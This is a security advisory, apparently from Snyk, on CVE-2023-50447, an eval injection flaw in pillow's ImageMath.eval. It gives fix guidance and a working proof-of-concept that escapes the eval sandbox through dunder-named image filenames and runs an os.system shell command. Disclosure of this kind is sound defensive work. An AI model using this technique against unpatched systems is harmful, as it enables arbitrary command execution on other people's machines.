Eval Injection Affecting pillow package, versions [,10.2.0)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.07% (34th
percentile)
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Test your applications- Snyk ID SNYK-PYTHON-PILLOW-6182918
- published 21 Jan 2024
- disclosed 19 Jan 2024
- credit Checkmarx’s Research Group
Introduced: 19 Jan 2024
CVE-2023-50447 Open this link in a new tabHow to fix?
Upgrade pillow to version 10.2.0 or higher.
Overview
Affected versions of this package are vulnerable to Eval Injection via the PIL.ImageMath.eval function when an attacker has control over the keys passed to the environment argument.
PoC
from PIL import Image, ImageMath
image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')
expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"
environment = {
image1.filename: image1,
image2.filename: image2,
image3.filename: image3,
image4.filename: image4,
image5.filename: image5
}
ImageMath.eval(expression, **environment)
References
CVSS Scores
version 3.1